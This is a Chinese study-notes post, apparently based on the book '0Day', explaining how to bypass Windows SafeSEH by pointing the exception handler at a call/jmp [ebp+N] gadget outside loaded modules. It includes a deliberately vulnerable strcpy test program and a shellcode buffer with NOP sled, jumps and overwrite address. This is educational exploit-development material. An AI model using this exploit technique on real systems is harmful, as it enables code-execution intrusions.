上一篇记录的通过虚函数突破GS,其实也可以通过SEH来突破GS,具体的原理和利用虚函数的方式类似,只是通过覆盖SEH异常处理函数地址来实现的,就不多说了。不过微软后来对SEH也做了防护,具体的做了哪些防护可以去看《0Day》。这里只记录突破SafeSEH的方式。
虽然微软对SEH做了防护,但也有例外,比如SEH中异常处理函数指针位于堆中,则不论是否通过安全校验,都会被调用,所以我们可以在堆中申请一块内存,然后把shellcode写入其中,最后把内存首地址覆盖掉SEH异常处理函数即可。这种方式比较简单,就不做过多的表述。
同时也可以通过未启用SafeSEH模块来绕过SafeSEH,这种方式也不做表述,这里主要记录利用加载模块之外的地址绕过SafeSEH。
所谓的利用加载模块之外的地址,就是利用一些其他的,被SafeSEH无视掉的映射文件中的地址来绕过它。这里我们查找call/jmp [ebp + N] 这样的指令序列。在学习这种方式之前,一直不明白为啥通过call/jmp [ebp + N]这样的指令能达到效果,后来通过查找资料和调试发现,在发生异常时,[ebp + N]指向的恰好就是SEH结构中指向下一条记录指针的位置,就是SEH结构的前4字节,因此,我们可以把call/jmp [ebp + N] 指令序列的地址覆盖掉异常处理函数指针,然后在指向下一条记录指针那做个跳转,但由于只有4个字节,因此我们在那里先布置个短跳转,往回跳几个字节,然后再布置个长跳转,跳到shellcode的起始位置即可。
下面先通过OllyFindAddr插件来查找指令序列,如下图
在结果中选择加载模块内存范围之外的指令,如下图
接下来就是缓冲区的布置了,需要用这个地址去覆盖异常处理函数,然后在SEH结构前4字节天上一个短跳转指令,回跳8字节,在回跳的8字节中布置一个长跳转,跳到shellcode起始地址即可,代码如下
#include "stdafx.h"
#include <string.h>
char shellcode[] = {
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1"
"\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E"
"\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33"
"\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2"
"\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C"
"\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38"
"\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B"
"\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03"
"\xF5\x99\x0F\xBE\x06\x3A\xC4\x74\x08\xC1"
"\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24"
"\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B"
"\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB"
"\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E"
"\x75\xA9\x33\xDB\x53\x68\x77\x65\x73\x74"
"\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\xE9\xEF\xFE\xFF\xFF\x90\x90\x90"
"\xEB\xF6\x90\x90\x0B\x0B\x29\x00"
};
void test(char *src)
{
char buf[200] = { 0 };
strcpy(buf, src);
int zero = 0;
zero = 1 / zero;
}
int main()
{
printf("OK\n");
getchar();
// char *buf = new char[210];
// strcpy(buf, shellcode);
test(shellcode);
return 0;
}
编译好之后,放到xp下调试,修正地址和缓冲区的布置即可